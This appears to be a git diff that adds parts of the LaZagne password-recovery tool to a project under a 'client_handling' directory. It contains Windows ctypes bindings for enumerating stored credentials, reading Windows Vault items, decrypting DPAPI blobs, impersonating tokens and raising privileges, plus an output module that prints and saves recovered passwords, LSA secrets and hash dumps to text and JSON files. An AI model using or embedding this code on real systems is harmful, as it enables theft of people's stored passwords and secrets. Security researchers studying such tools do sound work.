POINTER(CREDENTIAL_ATTRIBUTE) + + +class CREDENTIAL(Structure): + _fields_ = [ + ('Flags', DWORD), + ('Type', DWORD), + ('TargetName', LPSTR), + ('Comment', LPSTR), + ('LastWritten', FILETIME), + ('CredentialBlobSize', DWORD), + # ('CredentialBlob', POINTER(BYTE)), + ('CredentialBlob', POINTER(c_char)), + ('Persist', DWORD), + ('AttributeCount', DWORD), + ('Attributes', PCREDENTIAL_ATTRIBUTE), + ('TargetAlias', LPSTR), + ('UserName', LPSTR) + ] + + +PCREDENTIAL = POINTER(CREDENTIAL) + + +class DATA_BLOB(Structure): + _fields_ = [ + ('cbData', DWORD), + ('pbData', POINTER(c_char)) + ] + + +class GUID(Structure): + _fields_ = [ + ("data1", DWORD), + ("data2", WORD), + ("data3", WORD), + ("data4", BYTE * 6) + ] + + +LPGUID = POINTER(GUID) + + +class VAULT_CREDENTIAL_ATTRIBUTEW(Structure): + _fields_ = [ + ('keyword', LPWSTR), + ('flags', DWORD), + ('badAlign', DWORD), + ('valueSize', DWORD), + ('value', LPBYTE), + ] + + +PVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW) + + +class VAULT_BYTE_BUFFER(Structure): + _fields_ = [ + ('length', DWORD), + ('value', PBYTE), + ] + + +class DATA(Structure): + _fields_ = [ + # ('boolean', BOOL), + # ('short', SHORT), + # ('unsignedShort', WORD), + # ('int', LONG), + # ('unsignedInt', ULONG), + # ('double', DOUBLE), + ('guid', GUID), + ('string', LPWSTR), + ('byteArray', VAULT_BYTE_BUFFER), + ('protectedArray', VAULT_BYTE_BUFFER), + ('attribute', PVAULT_CREDENTIAL_ATTRIBUTEW), + # ('Sid', PSID) + ('sid', DWORD) + ] + + +class Flag(Structure): + _fields_ = [ + ('0x00', DWORD), + ('0x01', DWORD), + ('0x02', DWORD), + ('0x03', DWORD), + ('0x04', DWORD), + ('0x05', DWORD), + ('0x06', DWORD), + ('0x07', DWORD), + ('0x08', DWORD), + ('0x09', DWORD), + ('0x0a', DWORD), + ('0x0b', DWORD), + ('0x0c', DWORD), + ('0x0d', DWORD) + ] + + +class VAULT_ITEM_DATA(Structure): + _fields_ = [ + # ('schemaElementId', DWORD), + # ('unk0', DWORD), + # ('Type', VAULT_ELEMENT_TYPE), + # ('type', Flag), + # ('type', DWORD * 14), + # ('unk1', DWORD), + ('data', DATA), + ] + + +PVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA) + + +class VAULT_ITEM_WIN8(Structure): + _fields_ = [ + ('id', GUID), + ('pName', PWSTR), + ('pResource', PVAULT_ITEM_DATA), + ('pUsername', PVAULT_ITEM_DATA), + ('pPassword', PVAULT_ITEM_DATA), + ('unknown0', PVAULT_ITEM_DATA), + ('LastWritten', FILETIME), + ('Flags', DWORD), + ('cbProperties', DWORD), + ('Properties', PVAULT_ITEM_DATA), + ] + + +PVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8) + + +# class VAULT_ITEM_WIN7(Structure): +# _fields_ = [ +# ('id', GUID), +# ('pName', PWSTR), +# ('pResource', PVAULT_ITEM_DATA), +# ('pUsername', PVAULT_ITEM_DATA), +# ('pPassword', PVAULT_ITEM_DATA), +# ('LastWritten', FILETIME), +# ('Flags', DWORD), +# ('cbProperties', DWORD), +# ('Properties', PVAULT_ITEM_DATA), +# ] +# PVAULT_ITEM_WIN7 = POINTER(VAULT_ITEM_WIN7) + +class OSVERSIONINFOEXW(Structure): + _fields_ = [ + ('dwOSVersionInfoSize', c_ulong), + ('dwMajorVersion', c_ulong), + ('dwMinorVersion', c_ulong), + ('dwBuildNumber', c_ulong), + ('dwPlatformId', c_ulong), + ('szCSDVersion', c_wchar * 128), + ('wServicePackMajor', c_ushort), + ('wServicePackMinor', c_ushort), + ('wSuiteMask', c_ushort), + ('wProductType', c_byte), + ('wReserved', c_byte) + ] + + +class CRYPTPROTECT_PROMPTSTRUCT(Structure): + _fields_ = [ + ('cbSize', DWORD), + ('dwPromptFlags', DWORD), + ('hwndApp', HWND), + ('szPrompt', LPCWSTR), + ] + + +PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT) + + +class LUID(Structure): + _fields_ = [ + ("LowPart", DWORD), + ("HighPart", LONG), + ] + + +PLUID = POINTER(LUID) + + +class SID_AND_ATTRIBUTES(Structure): + _fields_ = [ + ("Sid", PSID), + ("Attributes", DWORD), + ] + + +class TOKEN_USER(Structure): + _fields_ = [ + ("User", SID_AND_ATTRIBUTES), ] + + +class LUID_AND_ATTRIBUTES(Structure): + _fields_ = [ + ("Luid", LUID), + ("Attributes", DWORD), + ] + + +class TOKEN_PRIVILEGES(Structure): + _fields_ = [ + ("PrivilegeCount", DWORD), + ("Privileges", LUID_AND_ATTRIBUTES), + ] + + +PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES) + + +class SECURITY_ATTRIBUTES(Structure): + _fields_ = [ + ("nLength", DWORD), + ("lpSecurityDescriptor", LPVOID), + ("bInheritHandle", BOOL), + ] + + +PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES) + + +class SID_NAME_USE(DWORD): + _sid_types = dict(enumerate(''' + User Group Domain Alias WellKnownGroup DeletedAccount + Invalid Unknown Computer Label'''.split(), 1)) + + def __init__(self, value=None): + if value is not None: + if value not in self.sid_types: + raise ValueError('invalid SID type') + DWORD.__init__(value) + + def __str__(self): + if self.value not in self._sid_types: + raise ValueError('invalid SID type') + return self._sid_types[self.value] + + def __repr__(self): + return 'SID_NAME_USE(%s)' % self.value + + +PSID_NAME_USE = POINTER(SID_NAME_USE) + +# ############################# Load dlls ############################## + +advapi32 = WinDLL('advapi32', use_last_error=True) +crypt32 = WinDLL('crypt32', use_last_error=True) +kernel32 = WinDLL('kernel32', use_last_error=True) +psapi = WinDLL('psapi', use_last_error=True) +ntdll = WinDLL('ntdll', use_last_error=True) + +# ############################# Functions ############################## + +RevertToSelf = advapi32.RevertToSelf +RevertToSelf.restype = BOOL +RevertToSelf.argtypes = [] + +ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser +ImpersonateLoggedOnUser.restype = BOOL +ImpersonateLoggedOnUser.argtypes = [HANDLE] + +DuplicateTokenEx = advapi32.DuplicateTokenEx +DuplicateTokenEx.restype = BOOL +DuplicateTokenEx.argtypes = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)] + +AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges +AdjustTokenPrivileges.restype = BOOL +AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)] + +LookupPrivilegeValueA = advapi32.LookupPrivilegeValueA +LookupPrivilegeValueA.restype = BOOL +LookupPrivilegeValueA.argtypes = [LPCTSTR, LPCTSTR, PLUID] + +ConvertSidToStringSid = advapi32.ConvertSidToStringSidW +ConvertSidToStringSid.restype = BOOL +ConvertSidToStringSid.argtypes = [DWORD, POINTER(LPWSTR)] + +LookupAccountSid = advapi32.LookupAccountSidW +LookupAccountSid.restype = BOOL +LookupAccountSid.argtypes = [LPCWSTR, PSID, LPCWSTR, LPDWORD, LPCWSTR, LPDWORD, PSID_NAME_USE] + +LocalAlloc = kernel32.LocalAlloc +LocalAlloc.restype = HANDLE +LocalAlloc.argtypes = [PSID, DWORD] + +GetTokenInformation = advapi32.GetTokenInformation +GetTokenInformation.restype = BOOL +GetTokenInformation.argtypes = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)] + +OpenProcess = kernel32.OpenProcess +OpenProcess.restype = HANDLE +OpenProcess.argtypes = [DWORD, BOOL, DWORD] + +OpenProcessToken = advapi32.OpenProcessToken +OpenProcessToken.restype = BOOL +OpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)] + +CloseHandle = kernel32.CloseHandle +CloseHandle.restype = BOOL +CloseHandle.argtypes = [HANDLE] + +CredEnumerate = advapi32.CredEnumerateA +CredEnumerate.restype = BOOL +CredEnumerate.argtypes = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))] + +CredFree = advapi32.CredFree +CredFree.restype = PVOID +CredFree.argtypes = [PVOID] + +memcpy = cdll.msvcrt.memcpy +memcpy.restype = PVOID +memcpy.argtypes = [PVOID] + +LocalFree = kernel32.LocalFree +LocalFree.restype = HANDLE +LocalFree.argtypes = [HANDLE] + +CryptUnprotectData = crypt32.CryptUnprotectData +CryptUnprotectData.restype = BOOL +CryptUnprotectData.argtypes = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID, + PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)] + +# these functions do not exist on XP workstations +try: + prototype = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID)) + vaultEnumerateVaults = prototype(("VaultEnumerateVaults", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE) + vaultOpenVault = prototype(("VaultOpenVault", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p)) + vaultEnumerateItems = prototype(("VaultEnumerateItems", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, + POINTER(PVAULT_ITEM_WIN8)) + vaultGetItem8 = prototype(("VaultGetItem", windll.vaultcli)) + + # prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN7)) + # vaultGetItem7 = prototype(("VaultGetItem", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, LPVOID) + vaultFree = prototype(("VaultFree", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, PHANDLE) + vaultCloseVault = prototype(("VaultCloseVault", windll.vaultcli)) +except Exception: + pass + +GetModuleFileNameEx = psapi.GetModuleFileNameExW +GetModuleFileNameEx.restype = DWORD +GetModuleFileNameEx.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD] + + +# ############################# Custom functions ############################## + + +def EnumProcesses(): + _EnumProcesses = psapi.EnumProcesses + _EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD] + _EnumProcesses.restype = bool + + size = 0x1000 + cbBytesReturned = DWORD() + unit = sizeof(DWORD) + dwOwnPid = os.getpid() + while 1: + ProcessIds = (DWORD * (size // unit))() + cbBytesReturned.value = size + _EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned)) + returned = cbBytesReturned.value + if returned < size: + break + size = size + 0x1000 + ProcessIdList = list() + for ProcessId in ProcessIds: + if ProcessId is None: + break + if ProcessId == dwOwnPid: + continue + ProcessIdList.append(ProcessId) + return ProcessIdList + + +def LookupAccountSidW(lpSystemName, lpSid): + # From https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/win32/advapi32.py + _LookupAccountSidW = advapi32.LookupAccountSidW + _LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD] + _LookupAccountSidW.restype = BOOL + + ERROR_INSUFFICIENT_BUFFER = 122 + cchName = DWORD(0) + cchReferencedDomainName = DWORD(0) + peUse = DWORD(0) + success = _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), + byref(peUse)) + error = GetLastError() + if not success or error == ERROR_INSUFFICIENT_BUFFER: + lpName = create_unicode_buffer(u'', cchName.value + 1) + lpReferencedDomainName = create_unicode_buffer(u'', cchReferencedDomainName.value + 1) + success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, + byref(cchReferencedDomainName), byref(peUse)) + if success: + return lpName.value, lpReferencedDomainName.value, peUse.value + + return None, None, None + + +def QueryFullProcessImageNameW(hProcess, dwFlags=0): + _QueryFullProcessImageNameW = kernel32.QueryFullProcessImageNameW + _QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, POINTER(DWORD)] + _QueryFullProcessImageNameW.restype = bool + ERROR_INSUFFICIENT_BUFFER = 122 + + dwSize = MAX_PATH + while 1: + lpdwSize = DWORD(dwSize) + lpExeName = create_unicode_buffer('', lpdwSize.value + 1) + success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize)) + if success and 0 < lpdwSize.value < dwSize: + break + error = GetLastError() + if error != ERROR_INSUFFICIENT_BUFFER: + return False + dwSize = dwSize + 256 + if dwSize > 0x1000: + # this prevents an infinite loop in Windows 2008 when the path has spaces, + # see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4 + return False + return lpExeName.value + + +def RtlAdjustPrivilege(privilege_id): + """ + privilege_id: int + """ + _RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege + _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)] + _RtlAdjustPrivilege.restype = LONG + + Enable = True + CurrentThread = False # enable for whole process + Enabled = BOOL() + + status = _RtlAdjustPrivilege(privilege_id, Enable, CurrentThread, byref(Enabled)) + if status != 0: + return False + + return True + + +def getData(blobOut): + cbData = int(blobOut.cbData) + pbData = blobOut.pbData + buffer = c_buffer(cbData) + + memcpy(buffer, pbData, cbData) + LocalFree(pbData); + return buffer.raw + + +def get_full_path_from_pid(pid): + if pid: + filename = create_unicode_buffer("", 256) + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid)) + if not hProcess: + return False + + size = GetModuleFileNameEx(hProcess, None, filename, 256) + CloseHandle(hProcess) + if size: + return filename.value + else: + return False + + +python_version = 2 +if sys.version_info[0]: + python_version = sys.version_info[0] + + +def Win32CryptUnprotectData(cipherText, entropy=False, is_current_user=True, user_dpapi=False): + if python_version == 2: + cipherText = str(cipherText) + + decrypted = None + + if is_current_user: + bufferIn = c_buffer(cipherText, len(cipherText)) + blobIn = DATA_BLOB(len(cipherText), bufferIn) + blobOut = DATA_BLOB() + + if entropy: + bufferEntropy = c_buffer(entropy, len(entropy)) + blobEntropy = DATA_BLOB(len(entropy), bufferEntropy) + + if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)): + decrypted = getData(blobOut).decode("utf-8") + + else: + if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)): + decrypted = getData(blobOut).decode("utf-8") + + if not decrypted: + can_decrypt = True + if not (user_dpapi and user_dpapi.unlocked): + from foreign.client_handling.lazagne.config.dpapi_structure import are_masterkeys_retrieved + can_decrypt = are_masterkeys_retrieved() + + if can_decrypt: + decrypted = user_dpapi.decrypt_encrypted_blob(cipherText) + if decrypted is False: + decrypted = None + else: + raise ValueError('MasterKeys not found') + + if not decrypted: + if not user_dpapi: + raise ValueError('DPApi unavailable') + elif not user_dpapi.unlocked: + raise ValueError('DPApi locked') + + return decrypted + + +def get_os_version(): + """ + return major anr minor version + https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx + """ + os_version = OSVERSIONINFOEXW() + os_version.dwOSVersionInfoSize = sizeof(os_version) + retcode = windll.Ntdll.RtlGetVersion(byref(os_version)) + if retcode != 0: + return False + + return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real)) + + +def isx64machine(): + archi = os.environ.get("PROCESSOR_ARCHITEW6432", '') + if '64' in archi: + return True + + archi = os.environ.get("PROCESSOR_ARCHITECTURE", '') + if '64' in archi: + return True + + return False + + +def OpenKey(key, path, index=0, access=KEY_READ): + if isx64: + return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY) + else: + return winreg.OpenKey(key, path, index, access) + + +isx64 = isx64machine() + + +def string_to_unicode(string): + if python_version == 2: + return unicode(string) + else: + return string # String on python 3 are already unicode + + +def chr_or_byte(integer): + if python_version == 2: + return chr(integer) + else: + return bytes([integer]) # Python 3 + + +def int_or_bytes(integer): + if python_version == 2: + return integer + else: + return bytes([integer]) # Python 3 + + +def char_to_int(string): + if python_version == 2 or isinstance(string, str): + return ord(string) + else: + return string # Python 3 + + +def convert_to_byte(string): + if python_version == 2: + return string + else: + return string.encode() # Python 3 diff --git a/foreign/client_handling/lazagne/config/write_output.py b/foreign/client_handling/lazagne/config/write_output.py new file mode 100644 index 0000000..fb9a32b --- /dev/null +++ b/foreign/client_handling/lazagne/config/write_output.py @@ -0,0 +1,350 @@ +# -*- coding: utf-8 -*- +import ctypes +import getpass +import json +import logging +import os +import socket +import sys +import traceback + +from time import gmtime, strftime +from platform import uname + +from foreign.client_handling.lazagne.config.users import get_username_winapi +from foreign.client_handling.lazagne.config.winstructure import string_to_unicode, char_to_int, chr_or_byte, python_version +from .constant import constant + +# --------------------------- Standard output functions --------------------------- + +STD_OUTPUT_HANDLE = -11 +std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE) +tmp_user = None + + +class StandardOutput(object): + def __init__(self): + self.banner = ''' +|====================================================================| +| | +| The LaZagne Project | +| | +| ! BANG BANG ! | +| | +|====================================================================| +''' + self.FILTER = b''.join([((len(repr(chr_or_byte(x))) == 3 and python_version == 2) or + (len(repr(chr_or_byte(x))) == 4 and python_version == 3)) + and chr_or_byte(x) or b'.' for x in range(256)]) + + def set_color(self, color='white', intensity=False): + c = {'white': 0x07, 'red': 0x04, 'green': 0x02, 'cyan': 0x03}.get(color, None) + + if intensity: + c |= 0x08 + + ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, c) + + # print banner + def first_title(self): + self.do_print(message=self.banner, color='white', intensity=True) + # Python 3.7.3 on Darwin x86_64: i386 + python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + " {0} {4}: {5}\n".format(*uname()) + self.print_logging(function=logging.debug, message=python_banner, prefix='[!]', color='white', intensity=True) + + # info option for the logging + def print_title(self, title): + t = u'------------------- ' + title + ' passwords -----------------\n' + self.do_print(message=t, color='white', intensity=True) + + # debug option for the logging + def title_info(self, title): + t = u'------------------- ' + title + ' passwords -----------------\n' + self.print_logging(function=logging.info, prefix='', message=t, color='white', intensity=True) + + def print_user(self, user, force_print=False): + pass + + def print_footer(self, elapsed_time=None): + footer = '\n[+] %s passwords have been found!\n' % str(constant.nb_password_found) + if not logging.getLogger().isEnabledFor(logging.INFO): + footer += 'For more information launch it again with the -v option\n' + if elapsed_time: + footer += '\nelapsed time = ' + str(elapsed_time) + self.do_print(footer) + + def print_hex(self, src, length=8): + N = 0 + result = b'' + while src: + s, src = src[:length], src[length:] + hexa = b' '.join([b"%02X" % char_to_int(x) for x in s]) + s = s.translate(self.FILTER) + result += b"%04X %-*s %s\n" % (N, length * 3, hexa, s) + N += length + return result + + def try_unicode(self, obj, encoding='utf-8'): + if python_version == 3: + try: + return obj.decode() + except Exception: + return obj + try: + if isinstance(obj, basestring): # noqa: F821 + if not isinstance(obj, unicode): # noqa: F821 + obj = unicode(obj, encoding) # noqa: F821 + except UnicodeDecodeError: + return repr(obj) + return obj + + # centralize print function + def do_print(self, message='', color=False, intensity=False): + # quiet mode => nothing is printed + if constant.quiet_mode: + return + + message = self.try_unicode(message) + if color: + self.set_color(color=color, intensity=intensity) + self.print_without_error(message) + self.set_color() + else: + self.print_without_error(message) + + def print_without_error(self, message): + try: + print(message.decode()) + except Exception: + try: + print(message) + except Exception: + print(repr(message)) + + def print_logging(self, function, prefix='[!]', message='', color=False, intensity=False): + if constant.quiet_mode: + return + + try: + msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message) + except Exception: + msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message)) + + if color: + self.set_color(color, intensity) + function(msg) + self.set_color() + else: + function(msg) + + def print_output(self, software_name, pwd_found): + if pwd_found: + # if the debug logging level is not apply => print the title + if not logging.getLogger().isEnabledFor(logging.INFO): + # print the username only if password have been found + user = constant.finalResults.get('User', '') + global tmp_user + if user != tmp_user: + tmp_user = user + self.print_user(user, force_print=True) + + # if not title1: + self.print_title(software_name) + + # Particular passwords representation + to_write = [] + if software_name in ('Hashdump', 'Lsa_secrets', 'Mscache'): + pwds = pwd_found[1] + for pwd in pwds: + self.do_print(pwd) + if software_name == 'Lsa_secrets': + hex_value = self.print_hex(pwds[pwd], length=16) + to_write.append([pwd.decode(), hex_value.decode()]) + self.do_print(hex_value) + else: + to_write.append(pwd) + self.do_print() + + # Other passwords + else: + # Remove duplicated password + pwd_found = [dict(t) for t in set([tuple(d.items()) for d in pwd_found])] + + # Loop through all passwords found + for pwd in pwd_found: + + # Detect which kinds of password has been found + lower_list = [s.lower() for s in pwd] + for p in ('password', 'key', 'hash'): + pwd_category = [s for s in lower_list if p in s] + if pwd_category: + pwd_category = pwd_category[0] + break + + write_it = False + passwd = None + try: + # Do not print empty passwords + if not pwd[pwd_category.capitalize()]: + continue + + passwd = string_to_unicode(pwd[pwd_category.capitalize()]) + except Exception: + pass + + # No password found + if not passwd: + print_debug("FAILED", u'Password not found.') + else: + constant.nb_password_found += 1 + write_it = True + print_debug("OK", u'{pwd_category} found!'.format( + pwd_category=pwd_category.title())) + + # Store all passwords found on a table => for dictionary attack if master password set + if passwd not in constant.password_found: + constant.password_found.append(passwd) + + pwd_info = [] + for p in pwd: + try: + pwd_line = '%s: %s' % (p, pwd[p].decode()) # Manage bytes output (py 3) + except Exception: + pwd_line = '%s: %s' % (p, pwd[p]) + + pwd_info.append(pwd_line) + self.do_print(pwd_line) + + self.do_print() + + if write_it: + to_write.append(pwd_info) + + # write credentials into a text file + self.checks_write(to_write, software_name) + else: + print_debug("INFO", "No passwords found.\n") + + def write_header(self): + time = strftime("%Y-%m-%d %H:%M:%S", gmtime()) + try: + hostname = socket.gethostname().decode(sys.getfilesystemencoding()) + except AttributeError: + hostname = socket.gethostname() + + header = u'{banner}\r\n- Date: {date}\r\n- Username: {username}\r\n- Hostname:{hostname}\r\n\r\n'.format( + banner=self.banner.replace('\n', '\r\n'), + date=str(time), + username=get_username_winapi(), + hostname=hostname + ) + with open(os.path.join(constant.folder_name, '{}.txt'.format(constant.file_name_results)), "ab+") as f: + f.write(header.encode()) + + def write_footer(self): + footer = '\n[+] %s passwords have been found!\r\n\r\n' % str(constant.nb_password_found) + open(os.path.join(constant.folder_name, '%s.txt' % constant.file_name_results), "a+").write(footer) + + def checks_write(self, values, category): + if values: + if 'Passwords' not in constant.finalResults: + constant.finalResults['Passwords'] = [] + constant.finalResults['Passwords'].append((category, values)) + + +def print_debug(error_level, message): + # Quiet mode => nothing is printed + if constant.quiet_mode: + return + + # print when password is found + if error_level == 'OK': + constant.st.do_print(message='[+] {message}'.format(message=message), color='green') + + # print when password is not found + elif error_level == 'FAILED': + constant.st.do_print(message='[-] {message}'.format(message=message), color='red', intensity=True) + + elif error_level == 'CRITICAL' or error_level == 'ERROR': + constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red', intensity=True) + + elif error_level == 'WARNING': + constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan') + + elif error_level == 'DEBUG': + constant.st.print_logging(function=logging.debug, message=message, prefix='[!]') + + else: + constant.st.print_logging(function=logging.info, message=message, prefix='[!]') + +# --------------------------- End of output functions --------------------------- + +def json_to_string(json_string): + string = u'' + try: + for json in json_string: + if json: + string += u'################## User: {username} ################## \r\n'.format(username=json['User']) + if 'Passwords' not in json: + string += u'\r\nNo passwords found for this user.\r\n\r\n' + else: + for pwd_info in json['Passwords']: + category, pwds_tab = pwd_info + + string += u'\r\n------------------- {category} -----------------\r\n'.format( + category=category) + + if category.lower() in ('lsa_secrets', 'hashdump', 'cachedump'): + for pwds in pwds_tab: + if category.lower() == 'lsa_secrets': + for d in pwds: + string += u'%s\r\n' % (constant.st.try_unicode(d)) + else: + string += u'%s\r\n' % (constant.st.try_unicode(pwds)) + else: + for pwds in pwds_tab: + string += u'\r\nPassword found!\r\n' + for pwd in pwds: + try: + name, value = pwd.split(':', 1) + string += u'%s: %s\r\n' % ( + name.strip(), constant.st.try_unicode(value.strip())) + except Exception: + print_debug('DEBUG', traceback.format_exc()) + string += u'\r\n' + except Exception: + print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=traceback.format_exc())) + + return string + + +def write_in_file(result): + """ + Write output to file (json and txt files) + """ + if result: + if constant.output in ('json', 'all'): + try: + # Human readable Json format + pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '), ensure_ascii=False) + with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'ab+') as f: + f.write(pretty_json.encode()) + + constant.st.do_print(u'[+] File written: {file}'.format( + file=os.path.join(constant.folder_name, constant.file_name_results + '.json')) + ) + except Exception as e: + print_debug('DEBUGG', traceback.format_exc()) + + if constant.output in ('txt', 'all'): + try: + with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'ab+') as f: + a = json_to_string(result) + f.write(a.encode()) + + constant.st.write_footer() + constant.st.do_print(u'[+] File written: {file}'.format( + file=os.path.join(constant.folder_name, constant.file_name_results + '.txt')) + ) + except Exception as e: + print_debug('DEBUG', traceback.format_exc()) |